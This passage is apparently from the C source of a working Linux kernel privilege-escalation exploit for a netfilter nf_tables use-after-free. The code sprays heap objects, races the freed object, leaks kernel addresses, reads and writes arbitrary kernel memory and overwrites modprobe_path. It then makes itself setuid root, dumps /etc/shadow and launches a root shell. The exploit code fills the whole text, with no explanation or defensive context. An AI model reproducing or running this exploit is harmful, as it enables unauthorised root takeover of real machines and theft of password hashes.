mnl_nlmsg_batch_current(batch), NFT_MSG_DELSETELEM, NFPROTO_INET, NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK, seq++ ); nftnl_set_elems_nlmsg_build_payload(nlh, set); mnl_nlmsg_batch_next(batch); nftnl_set_free(set); for (int spray = 2; spray < 10; spray += 2) { char *obj_name; asprintf(&obj_name, "spray_obj_%04hx", spray); append_del_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name); } nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); portid = mnl_socket_get_portid(nl); if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { err(1, "Cannot into mnl_socket_sendto()"); } mnl_nlmsg_batch_stop(batch); while (table_seq + 1 != seq) { ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); if (ret <= 0) break; ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); if (ret < 0) break; table_seq++; } if (ret == -1) { err(1, "Cannot into mnl_socket_recvfrom()"); } } static void pwn_uaf_race(struct mnl_socket *nl) { uint32_t portid, seq, table_seq; int ret; printf("pwn_uaf_race\n"); uint32_t set_desc_size; if (cfg_race_set_slab == 0) { set_desc_size = 0x0c; } else { set_desc_size = 0x10; } seq = time(NULL); struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); table_seq = seq; mnl_nlmsg_batch_next(batch); for (int spray = 0; spray != 0x20; ++ spray) { char *set_name; asprintf(&set_name, "race_set_%04hx", spray); pwn_create_set(batch, seq++, set_name, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), set_desc_size, NULL, 0); } nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); portid = mnl_socket_get_portid(nl); if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { err(1, "Cannot into mnl_socket_sendto()"); } mnl_nlmsg_batch_stop(batch); while (table_seq + 1 != seq) { ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); if (ret <= 0) break; ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); if (ret < 0) break; table_seq++; } if (ret == -1) { err(1, "Cannot into mnl_socket_recvfrom()"); } } static void pwn_uaf_new_obj(struct mnl_socket *nl) { uint32_t portid, seq, table_seq; int ret; printf("pwn_uaf_new_obj\n"); seq = time(NULL); struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); table_seq = seq; mnl_nlmsg_batch_next(batch); for (int spray = 0; spray < 0x40; ++ spray) { char *obj_name; asprintf(&obj_name, "uaf_obj_%04hx_", spray); char obj_userdata[uaf_chunk_size]; memset(obj_userdata, 'C', sizeof(obj_userdata)); memcpy(obj_userdata, obj_name, strlen(obj_name)); append_new_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name, obj_userdata, sizeof(obj_userdata)); } nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); portid = mnl_socket_get_portid(nl); if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { err(1, "Cannot into mnl_socket_sendto()"); } mnl_nlmsg_batch_stop(batch); while (table_seq + 1 != seq) { ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); if (ret <= 0) break; ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); if (ret < 0) break; table_seq++; } if (ret == -1) { err(1, "Cannot into mnl_socket_recvfrom()"); } } int uaf_obj_serial = -1; uint64_t uaf_log_handle = -1; static int pwn_uaf_dump_rule_cb(const struct nlmsghdr *nlh, void *data) { struct nftnl_rule *rule = nftnl_rule_alloc(); if (rule == NULL) { errx(1, "Cannot into nftnl_rule_alloc()"); } if (nftnl_rule_nlmsg_parse(nlh, rule) < 0) { errx(1, "Cannot into nftnl_rule_nlmsg_parse()"); } struct nftnl_expr_iter *expr_iter = nftnl_expr_iter_create(rule); while (1) { struct nftnl_expr *expr = nftnl_expr_iter_next(expr_iter); if (expr == NULL) break; const char *name = nftnl_expr_get_str(expr, NFTNL_EXPR_NAME); if (strcmp(name, "log") == 0) { const char *prefix = nftnl_expr_get_str(expr, NFTNL_EXPR_LOG_PREFIX); if (strcmp(prefix, log_prefix) != 0) { int serial = -1; int res = sscanf(prefix, "uaf_obj_%x_", &serial); if (res == 1) { uaf_obj_serial = serial; } uaf_log_handle = nftnl_rule_get_u64(rule, NFTNL_RULE_HANDLE); printf("\nDetected UAF with uaf_obj_serial=%x reusing uaf_log_handle=%lx:", uaf_obj_serial, uaf_log_handle); hex_dump(prefix, strlen(prefix)); } } } nftnl_expr_iter_destroy(expr_iter); nftnl_rule_free(rule); return MNL_CB_OK; } static void pwn_uaf_dump_rule(struct mnl_socket *nl) { uint32_t portid, seq; int ret; printf("pwn_uaf_dump_rule\n"); seq = time(NULL); struct nftnl_rule *rule = nftnl_rule_alloc(); if (rule == NULL) { errx(1, "Cannot into nftnl_rule_alloc()"); } nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, "testfirewall"); struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr( mnl_batch_buffer, NFT_MSG_GETRULE, NFPROTO_INET, NLM_F_DUMP | NLM_F_ACK, seq ); nftnl_rule_nlmsg_build_payload(nlh, rule); nftnl_rule_free(rule); portid = mnl_socket_get_portid(nl); if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) { err(1, "Cannot into mnl_socket_sendto()"); } ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); while (ret > 0) { ret = mnl_cb_run(mnl_batch_buffer, ret, seq, portid, pwn_uaf_dump_rule_cb, NULL); if (ret <= 0) break; ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); } if (ret == -1) { err(1, "Cannot into mnl_socket_recvfrom()"); } } static void pwn_uaf_del_rule(struct mnl_socket *nl) { struct mnl_nlmsg_batch *batch; uint32_t portid, seq, table_seq; int ret; printf("pwn_uaf_del_rule\n"); seq = time(NULL); batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); table_seq = seq; mnl_nlmsg_batch_next(batch); append_del_rule(batch, seq++, NFPROTO_INET, "testfirewall", pwn_log_chain, uaf_log_handle); for (int spray = 2; spray < 15; spray += 3) { char *obj_name; asprintf(&obj_name, "uaf_obj_%04hx_", (uaf_obj_serial + spray) % 0x40); append_del_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name); } nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); portid = mnl_socket_get_portid(nl); if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { err(1, "Cannot into mnl_socket_sendto()"); } mnl_nlmsg_batch_stop(batch); while (table_seq + 1 != seq) { ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); if (ret <= 0) break; ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); if (ret < 0) break; table_seq++; } if (ret == -1) { err(1, "Cannot into mnl_socket_recvfrom()"); } } char uaf_obj_userdata[uaf_chunk_size]; int uaf_obj_userdata_valid = 0; static int pwn_uaf_dump_obj_cb(const struct nlmsghdr *nlh, void *data) { struct nftnl_obj *obj = nftnl_obj_alloc(); if (obj == NULL) { errx(1, "Cannot into nftnl_obj_alloc()"); } if (nftnl_obj_nlmsg_parse(nlh, obj) < 0) { errx(1, "Cannot into nftnl_obj_nlmsg_parse()"); } uint32_t userdata_len; const void *userdata = nftnl_obj_get_data(obj, NFTNL_OBJ_USERDATA, &userdata_len); hex_dump(userdata, userdata_len); if (userdata_len == sizeof(uaf_obj_userdata)) { memcpy(uaf_obj_userdata, userdata, sizeof(uaf_obj_userdata)); uaf_obj_userdata_valid = 1; } nftnl_obj_free(obj); return MNL_CB_OK; } static void pwn_uaf_dump_obj(struct mnl_socket *nl) { uint32_t portid, seq; int ret; char *obj_name; asprintf(&obj_name, "uaf_obj_%04hx_", uaf_obj_serial); printf("pwn_uaf_dump_obj %s\n", obj_name); seq = time(NULL); struct nftnl_obj *obj = nftnl_obj_alloc(); if (obj == NULL) { errx(1, "Cannot into nftnl_obj_alloc()"); } nftnl_obj_set_u32(obj, NFTNL_OBJ_FAMILY, NFPROTO_INET); nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, "testfirewall"); nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name); nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER); struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr( mnl_batch_buffer, NFT_MSG_GETOBJ, NFPROTO_INET, NLM_F_ACK, seq ); nftnl_obj_nlmsg_build_payload(nlh, obj); nftnl_obj_free(obj); portid = mnl_socket_get_portid(nl); if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) { err(1, "Cannot into mnl_socket_sendto()"); } ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); while (ret > 0) { ret = mnl_cb_run(mnl_batch_buffer, ret, seq, portid, pwn_uaf_dump_obj_cb, NULL); if (ret <= 0) break; ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); } if (ret == -1) { err(1, "Cannot into mnl_socket_recvfrom()"); } } static void pwn_uaf_del_obj(struct mnl_socket *nl, char *obj_name_fmt, int serial) { struct mnl_nlmsg_batch *batch; uint32_t portid, seq, table_seq; int ret; printf("pwn_uaf_del_obj %s %x\n", obj_name_fmt, serial); seq = time(NULL); batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); table_seq = seq; mnl_nlmsg_batch_next(batch); for (int spray = 0; spray < 15; spray += 3) { char *obj_name; asprintf(&obj_name, obj_name_fmt, (serial + spray) % 0x40); append_del_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name); } nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); portid = mnl_socket_get_portid(nl); if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { err(1, "Cannot into mnl_socket_sendto()"); } mnl_nlmsg_batch_stop(batch); while (table_seq + 1 != seq) { ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); if (ret <= 0) break; ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); if (ret < 0) break; table_seq++; } if (ret == -1) { err(1, "Cannot into mnl_socket_recvfrom()"); } } static void pwn_read_new_obj(struct mnl_socket *nl, uint64_t addr) { uint32_t portid, seq, table_seq; int ret; printf("pwn_read_new_obj %lx\n", addr); seq = time(NULL); struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); table_seq = seq; mnl_nlmsg_batch_next(batch); for (int spray = 0; spray < 0x40; ++ spray) { char *obj_name; asprintf(&obj_name, "read_obj_%04hx_", spray); char obj_userdata[uaf_chunk_size]; memcpy(obj_userdata, uaf_obj_userdata, sizeof(obj_userdata)); memcpy(obj_userdata + 0x14, obj_name, strlen(obj_name)); * (uint64_t *) (obj_userdata + 0x68) = 0xffffffffffffffff; * (uint64_t *) (obj_userdata + 0x78) = addr; append_new_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name, obj_userdata, sizeof(obj_userdata)); } nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); portid = mnl_socket_get_portid(nl); if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { err(1, "Cannot into mnl_socket_sendto()"); } mnl_nlmsg_batch_stop(batch); while (table_seq + 1 != seq) { ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); if (ret <= 0) break; ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); if (ret < 0) break; table_seq++; } if (ret == -1) { err(1, "Cannot into mnl_socket_recvfrom()"); } } int read_obj_serial = -1; uint64_t read_quota_consumed = 0; static int pwn_read_dump_set_elem_cb_elem(struct nftnl_expr *expr, void *data) { struct nftnl_set_elem *set_elem = data; const char *name = nftnl_expr_get_str(expr, NFTNL_EXPR_NAME); if (strcmp(name, "quota") == 0) { uint64_t bytes = nftnl_expr_get_u64(expr, NFTNL_EXPR_QUOTA_BYTES); if (bytes == 0xffffffffffffffff) { uint32_t set_elem_key_len = -1; const void *set_elem_key = nftnl_set_elem_get(set_elem, NFTNL_SET_ELEM_KEY, &set_elem_key_len); printf("\nread expr:"); hex_dump(set_elem_key, set_elem_key_len); nftnl_expr_fprintf(stdout, expr, NFTNL_OUTPUT_DEFAULT, 0); printf("\n"); int serial = -1; int res = sscanf(set_elem_key, "read_obj_%x_", &serial); if (res == 1) { read_obj_serial = serial; read_quota_consumed = nftnl_expr_get_u64(expr, NFTNL_EXPR_QUOTA_CONSUMED); } } } return MNL_CB_OK; } static int pwn_read_dump_set_elem_cb(const struct nlmsghdr *nlh, void *data) { struct nftnl_set *set = nftnl_set_alloc(); if (set == NULL) { errx(1, "Cannot into nftnl_set_alloc()"); } if (nftnl_set_elems_nlmsg_parse(nlh, set) < 0) { errx(1, "Cannot into nftnl_set_elems_nlmsg_parse()"); } struct nftnl_set_elems_iter *set_elems_iter = nftnl_set_elems_iter_create(set); while (1) { struct nftnl_set_elem *set_elem = nftnl_set_elems_iter_next(set_elems_iter); if (set_elem == NULL) break; nftnl_set_elem_expr_foreach(set_elem, pwn_read_dump_set_elem_cb_elem, set_elem); } nftnl_set_elems_iter_destroy(set_elems_iter); nftnl_set_free(set); return MNL_CB_OK; } static void pwn_read_dump_set_elem(struct mnl_socket *nl) { uint32_t portid, seq; int ret; printf("pwn_read_dump_set_elem\n"); struct nftnl_set *set = NULL; set = nftnl_set_alloc(); if (set == NULL) { errx(1, "Cannot into nftnl_set_alloc()"); } seq = time(NULL); struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr( mnl_batch_buffer, NFT_MSG_GETSETELEM, NFPROTO_INET, NLM_F_DUMP | NLM_F_ACK, seq ); nftnl_set_set_str(set, NFTNL_SET_NAME, pwn_dynset_set); nftnl_set_set_str(set, NFTNL_SET_TABLE, "testfirewall"); nftnl_set_elems_nlmsg_build_payload(nlh, set); nftnl_set_free(set); portid = mnl_socket_get_portid(nl); if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) { err(1, "Cannot into mnl_socket_sendto()"); } ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); while (ret > 0) { ret = mnl_cb_run(mnl_batch_buffer, ret, seq, portid, pwn_read_dump_set_elem_cb, NULL); if (ret <= 0) break; ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); } if (ret == -1) { err(1, "Cannot into mnl_socket_recvfrom()"); } } static void pwn_write_new_obj(struct mnl_socket *nl, uint64_t addr) { uint32_t portid, seq, table_seq; int ret; printf("pwn_write_new_obj %lx\n", addr); seq = time(NULL); struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); table_seq = seq; mnl_nlmsg_batch_next(batch); for (int spray = 0; spray < 0x40; ++ spray) { char *obj_name; asprintf(&obj_name, "write_obj_%04hx_", spray); char obj_userdata[uaf_chunk_size]; memcpy(obj_userdata, uaf_obj_userdata, sizeof(obj_userdata)); * (uint64_t *) (obj_userdata + 0x68) = 0xffffffffffffffff; * (uint64_t *) (obj_userdata + 0x78) = addr; append_new_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name, obj_userdata, sizeof(obj_userdata)); } nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); portid = mnl_socket_get_portid(nl); if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { err(1, "Cannot into mnl_socket_sendto()"); } mnl_nlmsg_batch_stop(batch); while (table_seq + 1 != seq) { ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); if (ret <= 0) break; ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); if (ret < 0) break; table_seq++; } if (ret == -1) { err(1, "Cannot into mnl_socket_recvfrom()"); } } static int pwn_main() { int res; int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); struct sockaddr_in addr; memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(1337); addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); struct mnl_socket *nl = mnl_socket_open(NETLINK_NETFILTER); if (nl == NULL) { err(1, "Cannot into mnl_socket_open()"); } if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { err(1, "Cannot into mnl_socket_bind()"); } memset(log_prefix, 'A', sizeof(log_prefix)); log_prefix[uaf_chunk_size - 2] = 0; pwn_prepare(nl); usleep(cfg_initial_usleep); pwn_uaf_spray(nl); pwn_delay_spray_set(nl); uint64_t race_set_elem_key = 0; while (race_set_elem_key < cfg_race_set_elem_count) { pwn_delay_spray_set_elem(nl, &race_set_elem_key, cfg_race_set_elem_count); } pwn_uaf_trigger(nl); usleep(cfg_race_lead_usleep); pwn_uaf_race(nl); usleep(cfg_race_lag_usleep); pwn_uaf_new_obj(nl); pwn_uaf_dump_rule(nl); if (uaf_obj_serial < 0) { return EAGAIN; } pwn_uaf_del_rule(nl); usleep(cfg_reuse_usleep); for (int i = 0; i < 0x40; ++ i) { char message[1] = { i }; res = sendto(sock, message, sizeof(message), 0, (struct sockaddr *) &addr, sizeof(addr)); if (res != sizeof(message)) { err(1, "Cannot into sendto()"); } } pwn_uaf_dump_obj(nl); if (uaf_obj_userdata_valid != 1) { return EAGAIN; } uint64_t nf_tables_va = * (uint64_t *) (uaf_obj_userdata + 0x50); nf_tables_va -= cfg_nft_counter_ops; printf("\nnf_tables_va=%lx\n\n", nf_tables_va); if ((nf_tables_va & 0xfff) != 0) { printf("\n[!] unexpected module base %lx != 0\n", (nf_tables_va & 0xfff)); return EAGAIN; } pwn_uaf_del_obj(nl, "uaf_obj_%04hx_", uaf_obj_serial); usleep(cfg_reuse_usleep); uint64_t read_addr = nf_tables_va + cfg_nft_counter_destroy + cfg_nft_counter_destroy_call_offset; pwn_read_new_obj(nl, read_addr); pwn_read_dump_set_elem(nl); if (read_obj_serial < 0) { return EAGAIN; } int64_t read_data = read_quota_consumed; printf("\nread_data=%lx\n", read_data); if ((read_data & cfg_nft_counter_destroy_call_mask) != cfg_nft_counter_destroy_call_check) { printf("\n[!] code check failure %lx != %lx\n", (read_data & cfg_nft_counter_destroy_call_mask), cfg_nft_counter_destroy_call_check); return EAGAIN; } read_data >>= 0x20; read_data += (read_addr + 8); uint64_t kernel_va = read_data - cfg_free_percpu; printf("\nkernel_va=%lx\n\n", kernel_va); if ((kernel_va & 0xfff) != 0) { printf("\n[!] unexpected kernel base %lx != 0\n", (kernel_va & 0xfff)); return EAGAIN; } pwn_uaf_del_obj(nl, "read_obj_%04hx_", read_obj_serial); usleep(cfg_reuse_usleep); pwn_write_new_obj(nl, kernel_va + cfg_modprobe_path + 1); char sbin[0x8000]; memcpy(sbin, uaf_obj_userdata + 0x14, 0x34); /* "/tmp" - "sbin" */ int sbin_count = 33821116; while (sbin_count != 0) { sbin_count -= 0x1c; size_t send_size = sbin_count; if (send_size > sizeof(sbin)) send_size = sizeof(sbin) - 0x1c; sbin_count -= send_size; res = sendto(sock, sbin, send_size, 0, (struct sockaddr *) &addr, sizeof(addr)); if (res != send_size) { err(1, "Cannot into sendto()"); } } return 0; } static void netdevice_up(char *name) { int res; int connection = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); if (connection == -1) { err(1, "Cannot into socket()"); } struct ifreq ifreq; memset(&ifreq, 0, sizeof(ifreq)); snprintf(ifreq.ifr_name, IF_NAMESIZE, "%s", name); res = ioctl(connection, SIOCGIFFLAGS, &ifreq); if (res == -1) { err(1, "Cannot into ioctl()"); } ifreq.ifr_flags |= (IFF_UP | IFF_RUNNING); res = ioctl(connection, SIOCSIFFLAGS, &ifreq); if (res == -1) { err(1, "Cannot into ioctl()"); } res = close(connection); if (res != 0) { err(1, "Cannot into close()"); } } volatile int cpu_spinning = 1; static void pwn(size_t cpu_set_size, const cpu_set_t *cpu_set, int socketfd) { int res; res = sched_setaffinity(0, cpu_set_size, cpu_set); if (res != 0) { err(1, "Cannot into sched_setaffinity()"); } printf("[*] Putting on seatbelts\n"); netdevice_up("lo"); int status = pwn_main(); printf("[*] Signaling status=%d to coordinator...\n", status); res = write(socketfd, &status, sizeof(status)); if (res != sizeof(status)) { err(1, "Cannot into write()"); } while (cpu_spinning) { usleep(60 * 1000 * 1000); } } /**************************************************************************** * * Coordinator * */ static int clone_helper(void *ctx) { jmp_buf *env = ctx; longjmp(*env, 1); err(1, "Cannot into pthread_attr_init()"); return 1; } __attribute__((noinline)) static pid_t clone_with_longjmp(unsigned long flags, jmp_buf *env) { char helper_stack_buffer[2 * PTHREAD_STACK_MIN + __BIGGEST_ALIGNMENT__]; uintptr_t helper_stack_addr = (uintptr_t) helper_stack_buffer; helper_stack_addr += PTHREAD_STACK_MIN + __BIGGEST_ALIGNMENT__ - 1; helper_stack_addr -= helper_stack_addr % __BIGGEST_ALIGNMENT__; void *helper_stack = (void *) helper_stack_addr; pid_t pid = clone(clone_helper, helper_stack, flags, env); if (pid == -1) { err(1, "Cannot into clone()"); } return pid; } static void *cpu_spinning_loop(void *) { while (cpu_spinning) { } return NULL; } static void thread_create_with_affinity(pthread_t *thread, size_t cpu_set_size, const cpu_set_t *cpu_set, void *(*start_routine) (void *), void *arg) { pthread_attr_t attr; int res; res = pthread_attr_init(&attr); if (res != 0) { err(1, "Cannot into pthread_attr_init()"); } res = pthread_attr_setaffinity_np(&attr, cpu_set_size, cpu_set); if (res != 0) { err(1, "Cannot into pthread_attr_setaffinity_np()"); } res = pthread_create(thread, &attr, start_routine, arg); if (res != 0) { err(1, "Cannot into pthread_create()"); } res = pthread_attr_destroy(&attr); if (res != 0) { err(1, "Cannot into pthread_attr_destroy()"); } } static void pwn_helper(size_t cpu_set_size, const cpu_set_t *cpu_set, char *target_path, char *target_argv[], char *target_envp[]) { int res; int socketfd[2]; res = socketpair(AF_UNIX, SOCK_STREAM, 0, socketfd); if (res != 0) { err(1, "Cannot into socketpair()"); } pid_t pwn_pid = -1; jmp_buf env; if (setjmp(env) == 0) { pwn_pid = clone_with_longjmp(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET | SIGCHLD, &env); } else { res = close(socketfd[0]); if (res != 0) { err(1, "Cannot into close()"); } char buf[1]; res = read(socketfd[1], buf, sizeof(buf)); if (res != sizeof(buf)) { err(1, "Cannot into read()"); } printf("[*] Starting PWN Worker\n"); pwn(cpu_set_size, cpu_set, socketfd[1]); err(1, "Unexpected return from exploit()"); } res = close(socketfd[1]); if (res != 0) { err(1, "Cannot into close()"); } umask(0022); printf("[*] Creating \"/tmp/modprobe\"...\n"); char *modprobe_content; res = asprintf(&modprobe_content, "#!/bin/sh\n\nchown 0:0 \"%s\"\nchmod 4555 \"%s\"\n", target_path, target_path); file_write("/tmp/modprobe", O_CREAT | O_WRONLY, 0755, modprobe_content, res); printf("[*] Creating \"/tmp/trigger\"...\n"); char trigger_content[4] = { 0xff, 0xff, 0xff, 0xff, }; file_write("/tmp/trigger", O_CREAT | O_WRONLY, 0755, trigger_content, sizeof(trigger_content)); printf("[*] Updating setgroups...\n"); char *pwn_setgroups_path; res = asprintf(&pwn_setgroups_path, "/proc/%d/setgroups", pwn_pid); if (res == -1) { err(1, "Cannot into asprintf()"); } char *pwn_setgroups_content = "deny"; file_write(pwn_setgroups_path, O_WRONLY, 0, pwn_setgroups_content, strlen(pwn_setgroups_content)); printf("[*] Updating uid_map...\n"); char *pwn_uid_map_path; res = asprintf(&pwn_uid_map_path, "/proc/%d/uid_map", pwn_pid); if (res == -1) { err(1, "Cannot into asprintf()"); } char *pwn_uid_map_content; res = asprintf(&pwn_uid_map_content, "0 %d 1", getuid()); if (res == -1) { err(1, "Cannot into asprintf()"); } file_write(pwn_uid_map_path, O_WRONLY, 0, pwn_uid_map_content, res); printf("[*] Updating gid_map...\n"); char *pwn_gid_map_path; res = asprintf(&pwn_gid_map_path, "/proc/%d/gid_map", pwn_pid); if (res == -1) { err(1, "Cannot into asprintf()"); } char *pwn_gid_map_content; res = asprintf(&pwn_gid_map_content, "0 %d 1", getgid()); if (res == -1) { err(1, "Cannot into asprintf()"); } file_write(pwn_gid_map_path, O_WRONLY, 0, pwn_gid_map_content, res); printf("[*] Signaling PWN Worker...\n"); char buf[1] = {}; res = write(socketfd[0], buf, sizeof(buf)); if (res != sizeof(buf)) { err(1, "Cannot into write()"); } printf("[*] Waiting for PWN Worker...\n"); int status = EFAULT; res = read(socketfd[0], &status, sizeof(status)); if (res != sizeof(status)) { err(1, "Cannot into read()"); } printf("[*] Got status=%d from PWN Worker...\n", status); if (status == EAGAIN) { return; } printf("[*] Checking \"cat /proc/sys/kernel/modprobe\"...\n"); system("cat /proc/sys/kernel/modprobe"); system("/tmp/trigger"); res = execve(target_path, target_argv, target_envp); err(1, "Cannot into execve()"); } static void exploit(char *target_path, char *target_argv[], char *target_envp[]) { int cpu_alloc = 0x80; cpu_set_t *cpu_set; size_t cpu_set_size; int res; printf("[*] Netfilter UAF exploit\n\n"); cfg_load("profile"); cfg_print(); /* see https://github.com/linux-test-project/ltp/blob/master/testcases/kernel/syscalls/getcpu/getcpu01.c */ printf("[*] Checking for available CPUs...\n"); while (1) { cpu_alloc <<= 1; cpu_set = CPU_ALLOC(cpu_alloc); if (cpu_set == NULL) { err(1, "Cannot into CPU_ALLOC()"); } cpu_set_size = CPU_ALLOC_SIZE(cpu_alloc); CPU_ZERO_S(cpu_set_size, cpu_set); res = sched_getaffinity(0, cpu_set_size, cpu_set); printf("[*] sched_getaffinity() => %d %d\n", res, errno); if (res == 0) { break; } else if (errno != EINVAL) { err(1, "Cannot into sched_getaffinity()"); } } cpu_set_t *cpu_affinity = CPU_ALLOC(cpu_alloc); if (cpu_affinity == NULL) { err(1, "Cannot into CPU_ALLOC()"); } CPU_ZERO_S(cpu_set_size, cpu_affinity); int pwn_cpu = -1; for (int cpu = 0; cpu < cpu_set_size * 8; ++ cpu) { if (CPU_ISSET_S(cpu, cpu_set_size, cpu_set)) { if (pwn_cpu == -1) { pwn_cpu = cpu; printf("[*] Reserved CPU %d for PWN Worker\n", cpu); } else { pthread_t thread; CPU_SET_S(cpu, cpu_set_size, cpu_affinity); thread_create_with_affinity(&thread, cpu_set_size, cpu_affinity, cpu_spinning_loop, NULL ); CPU_CLR_S(cpu, cpu_set_size, cpu_affinity); printf("[*] Started cpu_spinning_loop() on CPU %d\n", cpu); } } } CPU_SET_S(pwn_cpu, cpu_set_size, cpu_affinity); for (int attempt = 0; attempt < 5; ++ attempt) { pwn_helper(cpu_set_size, cpu_affinity, target_path, target_argv, target_envp); } printf("\n\n[*] No ROOT for you:-(\n[*] Please reboot the machine!\n\n"); } int execve_with_setuid(char *target_argv[], char *target_envp[]) { int res; printf("[*] Checking \"/etc/shadow\"...\n"); FILE *f = fopen("/etc/shadow", "rb"); if (f != NULL) { char buf[0x1000]; size_t size = fread(buf, 1, sizeof(buf), f); if (0 < size) { fwrite(buf, 1, size, stdout); } } uid_t euid = geteuid(); if (euid != 0) { err(1, "Unexpected effective user id of the process"); } res = setuid(0); if (res != 0) { err(1, "Cannot into setuid()"); } res = setgid(0); if (res != 0) { err(1, "Cannot into setgid()"); } printf("\n\n[*] You've Got ROOT:-)\n\n"); res = execve(target_argv[0], target_argv, target_envp); err(1, "Cannot into execve()"); } int main(int argc, char *argv[], char *envp[]) { setbuf(stdout, NULL); if (3 <= argc) { execve_with_setuid(argv + 2, envp); } else { char *target_path; if (2 <= argc) { target_path = argv[1]; } else { target_path = realpath(argv[0], NULL); if (target_path == NULL) { err(1, "Cannot into realpath()"); } } char *target_argv[] = { "-", "-", "/bin/sh", NULL }; exploit(target_path, target_argv, envp); } }